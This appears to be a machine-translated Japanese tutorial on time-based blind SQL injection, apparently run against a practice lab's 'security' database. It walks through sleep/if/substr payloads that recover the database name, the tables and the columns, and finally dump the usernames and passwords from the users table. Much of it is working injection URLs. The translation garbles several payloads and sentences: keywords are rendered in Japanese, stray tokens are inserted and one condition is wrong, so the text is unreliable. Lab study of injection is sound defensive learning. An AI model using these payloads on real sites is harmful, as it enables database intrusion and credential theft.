#タイムブラインド
タイムブラインド:
Web インターフェイスは、通常のインターフェイスを返すだけです。さまざまなページ応答時間を使用して、データに注入ポイントがあるかどうかを徐々に推測します。
使用シーン:
1. インターフェイスがエコーしない
2. インターフェイスにエラー メッセージが表示されない
3. インターフェイスには true 値と false 値がありません
例: ページにエコーがある場合、ユニオン インジェクションを優先します。エコーはなく、エラー メッセージがある場合は、エラー インジェクション (extracvalue、floor、updatexml など) を使用します。エコーやエラー メッセージは表示されないが、ページに true 値と false 値の 2 つの切り替え状態がある場合、入力したコードのフィードバック結果に応じてブール ブラインド インジェクションを選択できます。上記のいずれでもない場合は、タイム インジェクションを使用できます
#キー機能紹介
1.スリープ()
Sleep() パラメータは秒単位のスリープ時間で、10 進数にすることができます
最初にパラメーター?id=1 を書き込みます
通常ページ
後ろにランダムな混乱を書きます、ページはまだ正常です
どう書いても普通です。一般的に、実際の状況では、さまざまなクローズドジャッジメントまたはその他のジャッジメントを使用し、他のページは何があっても正常です。
現時点では、彼に注射ポイントがあるかどうかわからないため、1 つずつ試すしかありません。
sleep() で番号を試す
url:id=1 および sleep(5)
デジタルであると仮定すると、関数と sleep(5) を最初に使用します. ページを返すのにかかる時間が 5 秒後に読み込まれたページである場合、それがデジタルであることが証明され、再度注入されます。彼は私たちがタイプしたことをしたからです。
インターフェイスから、5 秒遅れて結果を返さなかったことがわかります。
char try に sleep() を使用する
文字列を最初に"試してみる
url:id=1" と sleep(5) --+
遅延なし
文字列秒'試行
url:?id=1' と sleep(5) --+
ページは 6038 ミリ秒で返されました
1000 ミリ秒の独自のインターネット速度
5 秒の遅延の後、注入ポイントがあると判断されます
SQLインジェクションポイントの存在を判断するために、私たちがステートメントを入力し、彼がそれを実行したことを意味します
2.IF()関数
IF(condition, ture, false): condition は条件、ture は条件が true の場合の戻り値、false は条件が false の場合の戻り値
Select if(1,2,3);
select if(1=1,sleep(0),sleep(3)); 如果1=1这个条件为真的话,那么就执行sleep(0)。如果1=1为假的话那么就执行sleep(3)
まず、最初のパラメーターはサイズの比較です.ブールブラインドインジェクションでは、サイズを比較する方法を使用して、ページの true 値と false 値の 2 つの切り替え状態を比較して、私たちの条件は真実です。だから今私たちは使用することができます
sleep()関数の応答時間は、条件が真かどうかを判断するために使用されます。
#ケースデモ
1. 数字か文字かの判断 文字の場合は締め方の判断と注入箇所の有無の判断
再生負荷 :
そしてスリープ(5);
url:?id=1'と sleep(5) --+
5 秒の遅延の後、注入ポイントがあると判断されます
' 単一引用符を使用して閉じます
2. データベース名の長さを決定する
プレイロード
および if(length(database())>=10,sleep(0),sleep(3))
使用機能
長さ (): 長さ
database(): 使用されているデータベース
url:?id=1' かつ if(length(database())>=10,sleep(0),sleep(3)) --+
データベースの長さが 10 文字を超えているか、10 文字を待っているかを判断します。0 秒を超える場合は、結果が返されます。10 文字を超えない場合は、3 秒後に結果が返されます。
ページの状況、3 秒間停止し、10 未満であることを示し、その後、そのデータ名が 10 文字以内であることを示します
URL:
?id=1' if(length(データベース())=8,sleep(0),sleep(3)) --+
ページ エコー時間は 1031 秒、データ名が 8 文字であることを確認するための遅延はありません
3. データベース名を決定する
プレイロード
および if(Ord(Substr(database(),1,1))>=x,sleep(0),sleep(3))
使用機能
if(1,2,3): 判定文、1が条件、条件が真の場合、2のパラメータを実行。1 が false の場合、3 のパラメーターを実行します
ord(): 括弧内の内容を ASCII コードに変換します
substr(s,n,1) は、文字列 s をインターセプトし、n の位置から開始して、1 文字の長さを取得します
データベース名の最初の文字を決定する
url:?id=1' および if(ord(substr(database(),1,1))>=100,sleep(0),sleep(3)) --+
データベース名の最初の文字を横取りし、100より大きいかどうかを判定します。100より大きい場合、ページは0秒間一時停止し、ページに戻ります
100 を超えるページ読み込み時間によって決定
110 を超えるページ読み込み時間によって決定
.......
ページ時間によって決定される、最初の文字のASCIIコード値は115です
コード表との比較
115=秒
上記の結論文字はsです
データベース名の 2 番目の文字を決定します
?id=1' かつ if(ord(substr(database(), 2 ,1))=101,sleep(0),sleep(3))--+
時間の判断により、2文字目のアスキーコードは101と判明
コード表との比較
101=エ
上記の結論の 2 文字は e
....... 次の内容を自分で試してみてください。substr() の 2 番目のパラメーターを変更するだけです。
セキュリティとしてデータベース名を確定する
4. データテーブル情報を取得する
4.1 連結されたすべてのデータ テーブル名の文字列の長さを取得する
プレイロード
および if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=x,sleep(0),sleep(3))
URL:
?id=1'and if(length((select group_concat(table_name) from 20 information_schema.tables where table_schema=database()))=29,sleep(0),sleep(3)) --+
連結データ テーブル名の文字列長が 29 であるかどうかを判断する
時間応答判定により、データ名テーブル名は29文字と決定
4.2 データテーブル名文字列のすべての文字を推測する
プレイロード
および if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),n,1))>=100,sleep(0),sleep(3))
データ テーブルの最初の文字をクエリする
URL:
?id=1'and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>= 110 , sleep (0),sleep(3))- -+
データ テーブルの最初の文字が 110 より大きいかどうかを判断する
応答時間によって決定され、110 以下
URL:
?id=1'and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>= 100 , sleep (0),sleep(3))- -+
データ テーブル名の最初の文字が 100 より大きいかどうかを判断する
100以上110未満はページレスポンスの時間差で決まるので、100~110の間ということになります
URL:
?id=1'and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) =101 , sleep (0),sleep(3))-- +
時間応答から、データ テーブル名の最初の文字の ASCII 値が 101 であることを確認します。
アスキー コード テーブルを使用してクエリを実行する
101 は結果を e に変換します
データ テーブルの最初の文字が e であることを確認します
データ テーブルの 2 番目の文字をクエリする
?id=1' および if(ord(substr((select group_concat(table_name) from information_schema.tables where table_name=database()), 2 ,1))>100,sleep(0),sleep(3)) -- +
データ テーブルの 2 番目の文字が 100 より大きいかどうかを判断する
時差で判断すると100以上
URL:
?id=1' および if(ord(substr((select group_concat(table_name) from information_schema.tables where table_name=database()), 2 ,1))>=110,sleep(0),sleep(3)) - -+
応答時間から判断すると、110 を超えていません
2 番目の文字が 100 ~ 110 であることを確認してください
100~110まで1つずつテスト
URL:
?id=1'and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 2 ,1))= 109 ,sleep(0),sleep(3))-- +
時間応答から、データ テーブル名の最初の文字の ASCII 値が 109 であることを確認します。
アスキー コード テーブルを使用してクエリを実行する
109 換算結果はm
データ テーブルの 2 番目の文字が m であることを確認してください
...................................
同じ手順で、substr() の 2 番目のパラメーターを置き換えるだけです
すべての最終的なデータ テーブルは、
メール、
リファラー、
エージェント、
ユーザー
5. users データ テーブルのすべてのフィールド情報を照会する
5.1 すべてのフィールド名を連結した文字列の長さを取得する
プレイロード
および if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>= n ,sleep(0),sleep(3))
URL:
?id=1' および if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20,sleep(0),sleep(3)) -- +
連結されたフィールド名が 20 文字を超えているかどうかを判断する
ページの時間をこまめにチェックして判断し、20文字以上であることを確認する
url:
?id=1' および if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=30,sleep(0),sleep(3)) -- +
ページ時間の応答から判断すると、文字数は 30 以下です
フィールド名は 20 ~ 30 文字と推定されます
URL:
?id=1' および if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20,sleep(0),sleep(3)) --+
ページ時間の差から判断して、フィールドの長さは 20 文字列であると判断します
5.2 つなぎ合わせたフィールド文字の判定 (つなぎ合わせたフィールドが形成する文字列の各文字を推測する)
軽い負荷
および if(ord(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='数据表'),n,1))>=x,sleep(0),sleep(3) )
?id=1'and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=110,sleep(0),スリープ(3)) --+
連結フィールド名の最初の文字が 110 より大きいかどうかを判別します
ページの時間差から判断すると、110 を超えない
URL:
?id=1'and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=100,sleep(0),スリープ(3)) --+
ページ時間の差から判断すると、最初の文字は 100 より大きいが 110 より小さい
100~110の間
URL:
?id=1'and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))= 105 ,sleep(0) , sleep (3)) --+
タイムレスポンスで判断すると1文字目は105
コード表で比較
105=私
…………
同じテスト方法は後で同じです。substr(1,2,3) の 2 番目のパラメーターを変更するだけです。
以下はすべてのフィールドです
ID、
ユーザー名、
パスワード
6.ライブラリをドラッグ
1. フィールドの長さを決定します (文字列に連結されたユーザー名フィールドとパスワード フィールドの合計の長さを取得します)。
プレイロード
?id=1'and if(LENGTH((SELECT GROUP_CONCAT(field 1,'--',p field 2) FROM database.data テーブル))>=x,sleep(0),sleep(3))
?id=1'and if(LENGTH((SELECT GROUP_CONCAT(username,'--',password) FROM security.users))=201,sleep(0),sleep(3))--+
基本応答時間が決定され、フィールド長によるフィールド情報の長さは 201 文字です。
2. フィールド名のデータの各文字を当てます
プレイロード
および if( ORD(SUBSTR((SELECT GROUP_CONCAT(field 1,'--',field) from database.data テーブル),n,1))>=x,sleep(0),sleep(3))
?id=1'and if( ORD(SUBSTR((SELECT GROUP_CONCAT(username,'--',password) from security.users),1,1))=68,sleep(0),sleep(3))- -+
応答時間から判断すると、最初の文字のアスキー コードは 68 です。
68=D
................................................................... ...............
以下は判断する方法です。さようならが多すぎます。テストしたくありません。好奇心旺盛な赤ちゃんがいる場合は、sqlmap に移動して実行します。